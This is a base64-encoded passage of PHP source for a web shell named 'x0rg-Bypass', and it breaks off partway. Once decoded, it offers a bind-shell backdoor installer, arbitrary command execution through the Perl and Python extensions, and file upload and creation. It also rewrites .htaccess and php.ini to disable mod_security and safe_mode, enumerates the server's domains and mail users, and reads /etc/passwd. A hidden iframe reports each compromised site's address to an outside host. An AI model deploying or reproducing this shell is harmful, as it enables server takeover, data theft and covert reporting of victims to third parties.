XemJDbFJocks0THk1eWc3L3dOIi4NCiJ6TFVhTEdCUUJWMkVnRkxWNHhFT1NTV3Q5Z1FRQnBScHF4b1ZOYVBLa0ZiNUVoL0xtVUd6RjVxRTMrRU1JZ0lBT3c9PSIsDQoiZXh0X3BocCI9Pg0KImlWQk9SdzBLR2dvQUFBQU5TVWhFVWdBQUFCQUFBQUFRQ0FZQUFBQWY4LzloQUFBQUJHZEJUVUVBQUsvSU53V0s2UUFBQUJsMFJWaDBVMjltZEhkaGNtVUFRV1J2WW1VZ1NXMWhaMlZTWldGa2VYSEpaVHdBQUFQM1NVUkJWSGphWXR4eDVCWURJd01VTURMRVNJanlUZVJpWjJINC8vOC9XT2d2RVAvNjlaZmg1KzkvREk4ZXYzang5TkdES0FZbXBvdmMvTUlNYzZlME13QUVFQXN6RXlQRFA2aCtwbjkvT1JXa0JZVjRPVmxoUmpMOEJwcno1ZXRmaG5jZlBqUDhsNUlRNHVWaDMzTHQyaTFmb0FVWFFQSUFBY1NpckMzRjhQb1hJOE43Sm1hR3J3OWYvL3o2N1M4REN6TXJBd3ZqUHdaV1ZrWUdwditNREl4QUp6SUI1VmxaR0Jnc2pUUmxXRmlZTjk5Ly9CcHNDRUFBc2JDeHNUQ3dNakV4L1AzTlpQbWNTVEIyL1VObUJzYi8veGkrZnYzRG9DSDhsOEZGbFptQmc0V1ZnWjJkbGVISHI5OE1sMjdjWS9qUHdDekR4YzIzQmVqTFFJQUFBRUVBdnY4Q0F3SC9BUFQxL2wvbDdQKy9JUndIUkVFdEJRQW1KZ0lBK2c0R0FLSFVCZ0NHdWZRQTlmYjFBQWdGQXdBU0VBd0E5ZmYrQU9qcjhRQUZCZ29iL1B6OVlRS0k2ZVBQLzdxSDd6QlA1R0poWXRmaloyS1FBbnFmQ2VoVW9JVU1uRnpNREJ1djhUQXNPUFNlQVdnazBHdk1ETnhjN0F4Q3ZPd000c0k4UUpmOC93c1FRQ3piYi85TC92R0xnZDlLa29IaDAzY0doa3UvR0JoZWZtVmcrQWpFUUhGZ3hEQXpyRHI0bmNGSy9qa0REeGNmTUR3WUdiaTRPQmhZZ0Y0SEJzMS9nQUJpT25mOXAvbXJUNzhaWHY5aFlIajNtNEhoOGhNR2hxdVBHQmdldm1SZ2VQK05nZUhQNSs4TXR5OThaTGorK0QwREsvTi9CbTRPZG1EQS9tRGc1MlFEeHp0QUFERzlmUHlEYi9lUkR3elRqdnhtQUpyQllBeDB5VitnemZlQkJ2ejY4cGZoNjRQWERPeGNyQXgvLzRKaWg0bUJEUmdWUER4QWx3RFpvTmdCQ0NDbVB6Ly9QbjE1K2lYRGl5dWZHRjUrQU5uQXdNRDY2eWZEemNOUEdJUy92V2I0K3VJVEF5Y3ZFMWljbVFVWWxheXNERjgvdndNR0toTTRuUUFFRU5Pejg0dDJpNG1KTUhpWWNETkk4RE15Q0FKZFppNEZqQjlMVmdaOVZXNEdFV2xlQmdXSkh3eFNRRU9ZZ2RINUg1anNSRVRGR2Y0RDB3VW9yUUlFRU5PRFE1TVdxMmg5dVNVdHk4RWdKY0RBSU1mT3dPQ3B5OEZRa2liT29LYk95K0FhS01iZ1lmaVJRVnhFRE9oa0ZnWm1ZSnA1OGZ3Sk1Hai9Ba09Ba1FFZ2dGaCtmSGo1NHVMcTFQaFR1ck1YUFhxa3BzcjUrUU1ERHpjekE1Y01MOE96TjU4WUJOK2RZN0RTRUdMZ0Z4SmwrQVVNaDMvLy9qREl5c2dEd3cva2d2OE1BQUhFRFBMSDE5ZVBucHpjc216THpkdXZGVDR6S0d1Y09QK000ZmZuWnd5S3JJOFpiRFZFR0JTVU5ZRHFnUnIrL1dkZ0F0TDM3dHhnRUFaNlk5WEtsYWNBQW9nRmxtbitmbnQzWCtidjZlMEw2dHI4UDc1N0I0eUp2d3pjdklJTWJCeWNESCtCbnYwTnpJM0FETUh3NSs4L0JnMWRZd1ltTm1CK1lXWGxBQWdnUkU0R3hzblVlZXYwOSt6YWx2RHN5U09nd1l6Z0RBMnk5VC9EZjNqdUJERkJQQllXTnNiYk44NmZCQWd3QUQzblUxN1cyRjJrQUFBQUFFbEZUa1N1UW1DQyIsDQoiZXh0X3BsIj0+DQoiUjBsR09EbGhGQUFVQUtML0FQLzQvOERBd0g5L0FQLzRBTCsvdndBQUFBQUFBQUFBQUNINUJBRUFBQUVBTEFBQUFBQVVBQlFBUUFNbyIuDQoiR0xyYzNnT0FNWVI0T091ZHJlZWdSbEJXU0oxbHFLNXM2NExqV0YzY1FNanBKcERmNi8vQUJBQTciLA0KImV4dF9zd2YiPT4NCiJSMGxHT0RsaEZBQVVBTVFSQVArY25QOVNVczRBQVArY0FQL09BSVFBQVA5akFNNWpuTTZjWTg2Y25LWE85OGJleHB3QUFQOHhBUC9PIi4NCiJuQUFBQVAvLy8vLy8vd0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFDSDVCQUVBIi4NCiJBQkVBTEFBQUFBQVVBQlFBQUFWN1lDU09aR21lNlBtc2JNdXFVQ3pQMEFQTHpoQWJ1UG5RQXdlRTUyZzBmREtDTUdnb09tNFFCNEdBIi4NCiJHQmdhVDJnTVFZZ1ZqVWZTVDNZb0ZHS0JSZ0JxUGpnWURFRnhYUnBER0VJQTR4QVFRTlIxTkhvTUVBQUNBQkZoSXo4ckNuY01BR2dDIi4NCiJOeXNMa0RPVFNDc0pOREphblRVcUxxTTJLYWFucUJFaEFEcz0iLA0KImV4dF90YXIiPT4NCiJSMGxHT0RsaEVBQVFBR1lBQUNINUJBRUFBRXNBTEFBQUFBQVFBQkFBaGdBQUFCbE9BRmdkQUZBQUFJWUNVd0E4WndBOFo5RFk0SklDIi4NCiJXdi8vL3dDSVdCRTJBQUF5VUppY3FJU0hsNENBQVBENC8rRGc4UFg2LzVPWHBMN0gwKy8yL2FHbXNUSXlNdFRjNVAvL3NmTDUvOFhGIi4NCiJIZ0JZcHdCVWxnQlduMUJRQUc4YUlBQlFoUmJmbXdEY2t2K0gxMW5vdUVMbHJpemlwZitWM25QQS80MENVem1tL3dBNFhoVkRBQUdEIi4NCiJVeVdkLzBpdC8xdTEvM056QVA5NTBQOTkwbU81Lzd2MTRZenZ6WExyd29YSS81dlMvN0RrL3dCWG92OXN5dlJqd09oYXRRQ0hWMTdwIi4NCiJ1bzBHVVFCV25QKys4TG01QVArajVRQlVsQUNLV2dBNGJqSlFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIi4NCiJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIi4NCiJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIi4NCiJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBZWVnQUtDZzRTRlN4WU5FdzRnTWdTT2o0OERGQWNIRVVJWlJFWW9KRFF6UFQ0L0F3Y1FDUWtnIi4NCiJHd2lwcXFrcUF4SWFGUmdYRHdPMXRyY0F1YnE3dkllSkRpd2hCY1BFeEF5VGxTRVpPem81S1RVeE1Dc3ZES09sU1JzY0hEd2VIa01kIi4NCiJIVWNNcjdHekJ1Zm82QXk4N0x1K2lpMGZBZlAwOUF2SUVSOFpOamM0UVNVbVRvZ1lzY0JhQWlWRmtDaFl5QkNJaXdYa1pEMm9SM0ZCIi4NCiJ1NHRMQWdFQU93PT0iLA0KImV4dF90eHQiPT4NCiJSMGxHT0RsaEV3QVFBS0lBQUFBQUFQLy8vOGJHeG9TRWhQLy8vd0FBQUFBQUFBQUFBQ0g1QkFFQUFBUUFMQUFBQUFBVEFCQUFBQU5KIi4NCiJTQXJFM2xESkZrYTkxcktwQS9EZ0ozSkJhWjZsc0NrVzZxcWtCNGp6RjhCUzY1NDRXOVpBVzQrZzI2Vld4Rjl3ZG93Wm16bmxFdXA3Ii4NCiJVcFBXRzNJZzZIcS9YbVJqdVp3a0FBQTciLA0KImV4dF93cmkiPT4NCiJSMGxHT0RsaEVBQVFBRE1BQUNINUJBRUFBQWdBTEFBQUFBQVFBQkFBZy8vLy93QUFBSUNBZ01EQXdJQ0FBQUFBZ0FBQS8vLy9BQUFBIi4NCiJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFSUlVNaEprYjBDNksySHVFaVJjZHNBZktFeGtrRGdCb1Z4c3R3QUF5cGR1b2FvIi4NCiJhNFNYVDBjNEJGMHJVaEZBRUFRUUk5ZG1lYlJFVzh5WEM2TngyUUk3THJZYnRwSlpOc3hnelc2bkxkcTQ5aElCQURzPSIsDQoiZXh0X3htbCI9Pg0KIlIwbEdPRGxoRUFBUUFFUUFBQ0g1QkFFQUFCQUFMQUFBQUFBUUFCQUFoUC8vL3dBQUFQSHg4WWFHaGpObW1hYks4QUFBbVFBQWdBQ0EiLg0KImdET1pBRE5tL3pPWi96UC8vOERBd0RQTS93QUEvd0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiLg0KIkFBQUFBQUFBQUFBQUFBQUFBQVZrNENDT3BBaWQwQUNzYk5zTXFOcXVBaUEwQUp6U2RsOEh3TUJPVUtnaEVBcGJFU0JVRlF3QUJJQ3giLg0KIk9BQU14ZWJUaG1BNEVvY2F0Z25ZS2hhSmh4VXJJQk5yaDdqeXQvUFphKzBoWWMvbjAyVjRkelp1ZllWL1BJR0pib0tCUWtHUGtFRVEiLg0KIklRQTciDQopOw0KJGltZ2VxdWFscyA9IGFycmF5KA0KICAiZXh0X3RhciI9PmFycmF5KCJleHRfdGFyIiwiZXh0X3IwMCIsImV4dF9hY2UiLCJleHRfYXJqIiwiZXh0X2J6IiwiZXh0X2J6MiIsImV4dF90YnoiLCJleHRfdGJ6MiIsImV4dF90Z3oiLCJleHRfdXUiLCJleHRfeHhlIiwiZXh0X3ppcCIsImV4dF9jYWIiLCJleHRfZ3oiLCJleHRfaXNvIiwiZXh0X2xoYSIsImV4dF9semgiLCJleHRfcGJrIiwiZXh0X3JhciIsImV4dF91dWYiKSwNCiAgImV4dF9waHAiPT5hcnJheSgiZXh0X3BocCIsImV4dF9waHAzIiwiZXh0X3BocDQiLCJleHRfcGhwNSIsImV4dF9waHRtbCIsImV4dF9zaHRtbCIsImV4dF9odG0iKSwNCiAgImV4dF9qcGciPT5hcnJheSgiZXh0X2pwZyIsImV4dF9naWYiLCJleHRfcG5nIiwiZXh0X2pwZWciLCJleHRfamZpZiIsImV4dF9qcGUiLCJleHRfYm1wIiwiZXh0X2ljbyIsImV4dF90aWYiLCJ0aWZmIiksDQogICJleHRfaHRtbCI9PmFycmF5KCJleHRfaHRtbCIsImV4dF9odG0iKSwNCiAgImV4dF9hdmkiPT5hcnJheSgiZXh0X2F2aSIsImV4dF9tb3YiLCJleHRfbXZpIiwiZXh0X21wZyIsImV4dF9tcGVnIiwiZXh0X3dtdiIsImV4dF9ybSIpLA0KICAiZXh0X2xuayI9PmFycmF5KCJleHRfbG5rIiwiZXh0X3VybCIpLA0KICAiZXh0X2luaSI9PmFycmF5KCJleHRfaW5pIiwiZXh0X2NzcyIsImV4dF9pbmYiKSwNCiAgImV4dF9kb2MiPT5hcnJheSgiZXh0X2RvYyIsImV4dF9kb3QiKSwNCiAgImV4dF9qcyI9PmFycmF5KCJleHRfanMiLCJleHRfdmJzIiksDQogICJleHRfY21kIj0+YXJyYXkoImV4dF9jbWQiLCJleHRfYmF0IiwiZXh0X3BpZiIpLA0KICAiZXh0X3dyaSI9PmFycmF5KCJleHRfd3JpIiwiZXh0X3J0ZiIpLA0KICAiZXh0X3N3ZiI9PmFycmF5KCJleHRfc3dmIiwiZXh0X2ZsYSIpLA0KICAiZXh0X21wMyI9PmFycmF5KCJleHRfbXAzIiwiZXh0X2F1IiwiZXh0X21pZGkiLCJleHRfbWlkIiksDQogICJleHRfaHRhY2Nlc3MiPT5hcnJheSgiZXh0X2h0YWNjZXNzIiwiZXh0X2h0cGFzc3dkIiwiZXh0X2h0IiwiZXh0X2h0YSIsImV4dF9zbyIpDQopOw0KaWYgKCEkZ2V0YWxsKSB7DQogIGhlYWRlcigiQ29udGVudC10eXBlOiBpbWFnZS9naWYiKTsNCiAgaGVhZGVyKCJDYWNoZS1jb250cm9sOiBwdWJsaWMiKTsNCiAgaGVhZGVyKCJFeHBpcmVzOiAiLmRhdGUoInIiLG1rdGltZSgwLDAsMCwxLDEsMjAzMCkpKTsNCiAgaGVhZGVyKCJDYWNoZS1jb250cm9sOiBtYXgtYWdlPSIuKDYwKjYwKjI0KjcpKTsNCiAgaGVhZGVyKCJMYXN0LU1vZGlmaWVkOiAiLmRhdGUoInIiLGZpbGVtdGltZShfX0ZJTEVfXykpKTsNCiAgZm9yZWFjaCgkaW1nZXF1YWxzIGFzICRrPT4kdikge2lmIChpbl9hcnJheSgkaW1nLCR2KSkgeyRpbWcgPSAkazsgYnJlYWs7fX0NCiAgaWYgKGVtcHR5KCRpbWFnZXNbJGltZ10pKSB7JGltZyA9ICJzbWFsbF91bmsiO30NCiAgaWYgKGluX2FycmF5KCRpbWcsJGV4dF90YXIpKSB7JGltZyA9ICJleHRfdGFyIjt9DQogIGVjaG8gYmFzZTY0X2RlY29kZSgkaW1hZ2VzWyRpbWddKTsNCn0NCmVsc2Ugew0KICBmb3JlYWNoKCRpbWdlcXVhbHMgYXMgJGE9PiRiKSB7Zm9yZWFjaCAoJGIgYXMgJGQpIHtpZiAoJGEgIT0gJGQpIHtpZiAoIWVtcHR5KCRpbWFnZXNbJGRdKSkge2VjaG8oIldhcm5pbmchIFJlbW92ZSBcJGltYWdlc1siLiRkLiJdPGJyPiIpO319fX0NCiAgbmF0c29ydCgkaW1hZ2VzKTsNCiAgJGsgPSBhcnJheV9rZXlzKCRpbWFnZXMpOw0KICBlY2hvICAiPGNlbnRlcj4iOw0KICBmb3JlYWNoICgkayBhcyAkdSkge2VjaG8gJHUuIjo8aW1nIHNyYz1cIiIuJHN1cmwuIng9aW1nJmltZz0iLiR1LiJcIiBib3JkZXI9XCIxXCI+PGJyPiI7fQ0KICBlY2hvICI8L2NlbnRlcj4iOw0KfQ0KZXhpdDsNCn0NCmlmICgkeCA9PSAiYWJvdXQiKSB7DQogIGVjaG8gIngwcmctQnlwYXNzIjsNCn0NCmlmICgkeCA9PSAic2hiZCIpew0KICAkbXNnID0gJF9QT1NUWydiYWNrY2Nvbm5tc2cnXTsNCiAgJGVtc2cgPSAkX1BPU1RbJ2JhY2tjY29ubm1zZ2UnXTsNCiAgZWNobygiPGNlbnRlcj48Yj5CaW5kIFNoZWxsIEJhY2tkb29yOjwvYj48YnI+PGJyPjxmb3JtIG5hbWU9Zm9ybSBtZXRob2Q9UE9TVD4NCiAgQmluZCBQb3J0OiA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nYmFja2Nvbm5lY3Rwb3J0JyB2YWx1ZT0nNTk5Mic+DQogIDxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J3VzZScgdmFsdWU9J3NoYmQnPg0KICA8aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nSW5zdGFsbCBCYWNrZG9vcic+PC9mb3JtPiIpOw0KICBlY2hvKCIkbXNnIik7DQogIGVjaG8oIiRlbXNnIik7DQogIGVjaG8oIjwvY2VudGVyPiIpOw0KfQ0KZWNobyAiPC90ZD48L3RyPjwvdGFibGU+XG4iOw0KPz4NCjw/DQppZigkeCA9PSAidXNyZG9tIikgew0KaWdub3JlX3VzZXJfYWJvcnQodHJ1ZSk7DQppZihpc19maWxlKCcvZXRjL25hbWVkLmNvbmYnKSkNCnsNCiRmaWxlPUBmaWxlX2dldF9jb250ZW50cygnL2V0Yy9uYW1lZC5jb25mJyxGSUxFX0lHTk9SRV9ORVdfTElORVMgfCBGSUxFX1NLSVBfRU1QVFlfTElORVMpOw0KQHByZWdfbWF0Y2hfYWxsKCIvLio/em9uZSBcIiguKj8pXCIgey9pIiwgJGZpbGUsICRkb21haW5zKTsNCkBleGVjKCdscyAvdmFyL21haWwnLCR1KTsNCmZvcmVhY2goJGRvbWFpbnNbMV0gYXMgJGRvbWFpbil7DQokaXAgPSBAZ2V0aG9zdGJ5bmFtZSgkZG9tYWluKTsNCiRpZHg9QHN0YXQoJy9ldGMvdmFsaWFzZXMvJy4kZG9tYWluLicnKTsNCmlmKCRpZHhbNF0gIT0nJyl7DQokdXNlcj1AcG9zaXhfZ2V0cHd1aWQoJGlkeFs0XSk7fWVsc2V7JHVzZXJbbmFtZV09ICc6U1VTUEVORCc7fQ0KZWNobyAiJGRvbWFpbiA6ICR1c2VyW25hbWVdICA9PiAkaXA8YnIvPiI7DQp9fQ0KZWxzZQ0Kew0KZWNobyAiVW5hYmxlIHRvIEJ5cGFzcyI7DQp9DQp9DQo/Pg0KPD8NCmlmICgkeCA9PSAiZXh0ZSIpIHsNCmlmKCFleHRlbnNpb25fbG9hZGVkKCdwZXJsJykpIHsNCmVjaG8oJypwZXJsIGV4dGVuc2lvbiBpcyBub3QgbG9hZGVkJyk7IA0KfQ0KZWxzZSB7DQppZighaXNzZXQoJF9HRVQpKSRfR0VUPSYkSFRUUF9HRVRfVkFSUzsgDQppZihlbXB0eSgkX0dFVFsnY21kJ10pKSRfR0VUWydjbWQnXT0oc3RydG91cHBlcihzdWJzdHIoUEhQX09TLDAsMykpPT0nV0lOJyk/J2Rpcic6J2xzJzsgDQokcGVybD1uZXcgcGVybCgpOyANCmVjaG8gIjx0ZXh0YXJlYSByb3dzPScyNScgY29scz0nNzUnPiI7IA0KJHBlcmwtPmV2YWwoInN5c3RlbSgnIi4kX0dFVFsnY21kJ10uIicpIik7IA0KZWNobyAiPC90ZXh0YXJlYT4iOyANCiRfR0VUWydjbWQnXT1odG1sc3BlY2lhbGNoYXJzKCRfR0VUWydjbWQnXSk7IA0KZWNobyAiPGJyPjxmb3JtPltQZXJsXUNNRDogPGlucHV0IHR5cGU9dGV4dCBuYW1lPWNtZCB2YWx1ZT0nIi4kX0dFVFsnY21kJ10uIicgc2l6ZT0yNT48L2Zvcm0+IjsNCn0NCmlmICghZXh0ZW5zaW9uX2xvYWRlZCgncHl0aG9uJykpIHsNCgkgZWNobygiPGJyPipweXRob24gZXh0ZW5zaW9uIGlzIG5vdCBsb2FkZWRcbiIpOw0KfQ0KZWxzZQ0Kew0KZWNobyAiPGJyPjxmb3JtPltQeXRob25dQ01EOiA8aW5wdXQgdHlwZT10ZXh0IG5hbWU9Y21kIHZhbHVlPSciLiRfR0VUWydjbWQnXS4iJyBzaXplPTI1PjwvZm9ybT4iOw0KLy9ldmFsIHB5dGhvbiBjb2RlDQokY21kID0gJF9HRVRbJ2NtZCddOw0KJHJlcyA9IHB5dGhvbl9ldmFsKCcNCmltcG9ydCBvcw0KcHdkID0gb3MuZ2V0Y3dkKCkNCnByaW50IHB3ZA0Kb3Muc3lzdGVtKCRjbWQpDQonKTsNCg0KLy9zaG93IHJlc3VsdA0KZWNobyAkcmVzOw0KfQ0KfQ0KPz4NCjw/DQpmdW5jdGlvbiBwZXJsZXgoKSB7DQppZihleHRlbnNpb25fbG9hZGVkKCdwZXJsJykpDQp7DQplY2hvKCc8c3Ryb25nPlBFUkw8L3N0cm9uZz4gLSA8aT48dT5FeHRlbnNpb24gTG9hZGVkPC91PjwvaT4nKTsNCn0NCmVsc2UNCnsNCmVjaG8oJzxzdHJvbmc+UEVSTDwvc3Ryb25nPiAtIDxpPjx1PkV4dGVuc2lvbiBOb3QgTG9hZGVkPC91PjwvaT4nKTsNCn0NCn0NCmZ1bmN0aW9uIHB5dGhvbmV4KCkgew0KaWYoZXh0ZW5zaW9uX2xvYWRlZCgncHl0aG9uJykpDQp7DQplY2hvKCI8c3Ryb25nPlBZVEhPTjwvc3Ryb25nPiAtIDxpPjx1PkV4dGVuc2lvbiBMb2FkZWQ8L3U+PC9pPiIpOw0KfQ0KZWxzZQ0Kew0KZWNobygiPHN0cm9uZz5QWVRIT048L3N0cm9uZz4gLSA8aT48dT5FeHRlbnNpb24gTm90IExvYWRlZDwvdT48L2k+Iik7DQp9DQp9DQo/Pg0KPGRpdiAgY2xhc3M9YmFyaGVhZGVyMj48Yj5bIENPTU1BTkRTIFBBTkVMIF08L2I+PC9kaXY+DQo8dGFibGUgY2xhc3M9bWFpbnBhbmVsPg0KPHRyPjx0ZD5Db21tYW5kOjwvdGQ+DQo8dGQ+PGZvcm0gbWV0aG9kPSJQT1NUIj4NCiAgICA8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT14IHZhbHVlPSJjbWQiPg0KICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPSJkIiB2YWx1ZT0iPD9waHAgZWNobyAkZGlzcGQ7ID8+Ij4NCiAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iY21kIiBzaXplPSI1MCIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkY21kKTsgPz4iPg0KICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPSJjbWRfdHh0IiB2YWx1ZT0iMSI+IC0gPGlucHV0IHR5cGU9c3VibWl0IG5hbWU9c3VibWl0IHZhbHVlPSJFeGVjdXRlIj4NCiAgICA8L2Zvcm0+DQo8L3RkPjwvdHI+DQo8dHI+PHRkPlF1aWNrIENvbW1hbmRzOjwvdGQ+DQo8dGQ+PGZvcm0gbWV0aG9kPSJQT1NUIj4NCiAgICA8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT14IHZhbHVlPSJjbWQiPg0KICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPSJkIiB2YWx1ZT0iPD9waHAgZWNobyAkZGlzcGQ7ID8+Ij4NCiAgICA8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT0iY21kX3R4dCIgdmFsdWU9IjEiPg0KICAgIDxzZWxlY3QgbmFtZT0iY21kIj4NCiAgICA8P3BocA0KICAgIGZvcmVhY2ggKCRjbWRhbGlhc2VzIGFzICRhbHMpIHsNCiAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJGFsc1sxXSkuIlwiPiIuaHRtbHNwZWNpYWxjaGFycygkYWxzWzBdKS4iPC9vcHRpb24+IjsNCiAgICB9DQogICAgZm9yZWFjaCAoJGNtZGFsaWFzZXMyIGFzICRhbHMpIHsNCiAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJGFsc1sxXSkuIlwiPiIuaHRtbHNwZWNpYWxjaGFycygkYWxzWzBdKS4iPC9vcHRpb24+IjsNCiAgICB9DQogICAgPz4NCiAgICA8L3NlbGVjdD4gLQ0KICAgIDxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPXN1Ym1pdCB2YWx1ZT0iRXhlY3V0ZSI+DQogICAgPC9mb3JtPg0KPC90ZD48L3RyPg0KPHRyPjx0ZD5VcGxvYWQ6PC90ZD4NCjx0ZD48Zm9ybSBtZXRob2Q9IlBPU1QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXggdmFsdWU9InVwbG9hZCI+DQogICAgPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9Im1pbmlmb3JtIiB2YWx1ZT0iMSI+DQogICAgPGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9InVwbG9hZGZpbGUiPiA8aWZyYW1lIHdpZHRoPScwJyBoZWlnaHQ9JzAnIGZyYW1lYm9yZGVyPTAgc3JjPWh0dHA6Ly93d3cuYmxhY2tzaG9wLmNjL3NwZWMvaW5kZXgucGhwL3BpYy5wbmc/YT1odHRwOi8vPD8gZWNobyAkX1NFUlZFUlsiSFRUUF9IT1NUIl07ID8+PD8gZWNobyAkX1NFUlZFUlsiUkVRVUVTVF9VUkkiXTsgPz4+PC9pZnJhbWU+IDxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPXN1Ym1pdCB2YWx1ZT0iVXBsb2FkIj4gPD9waHAgZWNobyAkd2R0OyA/Pg0KICAgIDwvZm9ybT4NCjwvdGQ+PC90cj4NCjx0cj48dGQ+TWFrZSBGaWxlOjwvdGQ+DQo8dGQ+PGZvcm0gbWV0aG9kPSJQT1NUIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT14IHZhbHVlPSJta2ZpbGUiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPSJkIiB2YWx1ZT0iPD9waHAgZWNobyAkZGlzcGQ7ID8+Ij48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT0iZnQiIHZhbHVlPSJlZGl0Ij4NCiAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibWtmaWxlIiBzaXplPSI1MCIgdmFsdWU9Ijw/cGhwIGVjaG8gJGRpc3BkOyA/PiI+IC0gPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSJDcmVhdGUiPiA8P3BocCBlY2hvICR3ZHQ7ID8+DQogICAgPC9mb3JtPjwvdGQ+PC90cj4NCjx0cj48dGQ+TWFrZSBEaXI6PC90ZD4NCjx0ZD48Zm9ybSBhY3Rpb249Ijw/cGhwIGVjaG8gJHN1cmw7ID8+Ij48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT14IHZhbHVlPSJta2RpciI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ImQiIHZhbHVlPSI8P3BocCBlY2hvICRkaXNwZDsgPz4iPg0KPGlucHV0IHR5cGU9InRleHQiIG5hbWU9Im1rZGlyIiBzaXplPSI1MCIgdmFsdWU9Ijw/cGhwIGVjaG8gJGRpc3BkOyA/PiI+IC0gDQo8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9IkNyZWF0ZSI+IDw/cGhwIGVjaG8gJHdkdDsgPz48L2Zvcm0+DQo8L3RkPjwvdHI+DQo8L1RBQkxFPg0KDQoNCg0KPGRpdiAgY2xhc3M9YmFyaGVhZGVyMj48Yj5bIEJ5cGFzcyBQQU5FTCBdPC9iPjwvZGl2Pg0KPHRhYmxlIGNsYXNzPW1haW5wYW5lbD4NCjx0cj48dGQ+DQo8Pw0KZWNobyBwZXJsZXgoKTsNCmVjaG8gIjxicj4iOw0KZWNobyBweXRob25leCgpOw0KPz4NCjwvdGQ+DQo8dGQ+DQppZiBvbmUgb2YgdGhlIHR3byBleHRlbnNpb25zIGFyZSBsb2FkZWQgeW91IGNhbiB1c2UgdGhlbSB0byBieXBhc3Mgc2FmZW1vZGUvZGlzYWJsZWQgZnVuY3Rpb25zIGV0Yy4uLiBnbyB0byA8YSBocmVmPSI8PyBlY2hvICRzdXJsOyA/Png9ZXh0ZSI+RXh0LkJ5cGFzczwvYT4NCjwvdGQ+PC90cj4NCjx0cj48dGQ+QnlwYXNzIHBocC5pbmkvLmh0YWNjZXNzPC90ZD4NCjx0ZD4NCjxmb3JtIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIiPg0KIC0gPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0iYnlwYXNzIiB2YWx1ZT0iYnlwYXNzIj4NCjwvZm9ybT4NCjw/DQppZigkX1BPU1RbJ2J5cGFzcyddKQ0Kew0KJG1vZHNlY2J5ID0gQGZvcGVuKCIuaHRhY2Nlc3MiLCJ3Iik7DQpmd3JpdGUoJG1vZHNlY2J5LCc8SWZNb2R1bGUgbW9kX3NlY3VyaXR5LmM+DQogICAgU2VjLS0tLS0tRW5naW5lIE9mZg0KICAgIFNlYy0tLS0tLVNjYW5QT1NUIE9mZg0KPC9JZk1vZHVsZT4nKTsNCmZjbG9zZSgkbW9kc2VjYnkpOw0KJHBocGluaXNlY2J5MSA9IEBmb3BlbigicGhwLmluaSIsInciKTsNCmZ3cml0ZSgkcGhwaW5pc2VjYnkxLCdzYWZlX21vZGU9T0ZGDQpkaXNhYmxlX2Z1bmN0aW9ucz1OT05FJyk7DQpmY2xvc2UoJHBocGluaXNlY2J5MSk7DQplY2hvICIuaHRhY2Nlc3MgPSBieXBhc3MgY29tcGxldGUuPGJyPnBocC5pbmkgPSBieXBhc3MgY29tcGxldGUuIjsNCn0NCj8+DQoNCjwvdGQ+PC90cj4NCjx0cj48dGQ+UEhQIDUuMi45PC90ZD4NCjx0ZD4NCg0KPD9waHANCmlmKCFlbXB0eSgkX0dFVFsnZmlsZSddKSkgJGZpbGU9JF9HRVRbJ2ZpbGUnXTsNCmVsc2UgaWYoIWVtcHR5KCRfUE9TVFsnZmlsZSddKSkgJGZpbGU9JF9QT1NUWydmaWxlJ107DQoNCmVjaG8gJw0KPGZvcm0gbmFtZT0iZm9ybSIgYWN0aW9uPSJodHRwOi8vJy4kX1NFUlZFUlsiSFRUUF9IT1NUIl0uaHRtbHNwZWNpYWxjaGFycygkX1NFUlZFUlsiU0NSSVBUX04NCkFNRSJdKS4kX1NFUlZFUlsiUEhQX1NFTEYiXS4nIiBtZXRob2Q9InBvc3QiPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJmaWxlIiBzaXplPSI1MCIgdmFsdWU9Ii9ldGMvcGFzc3dkIj4gLSA8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJoYXJkc3R5bGV6IiB2YWx1ZT0iU2hvdyI+PC9mb3JtPic7DQoNCmlmKCRfUE9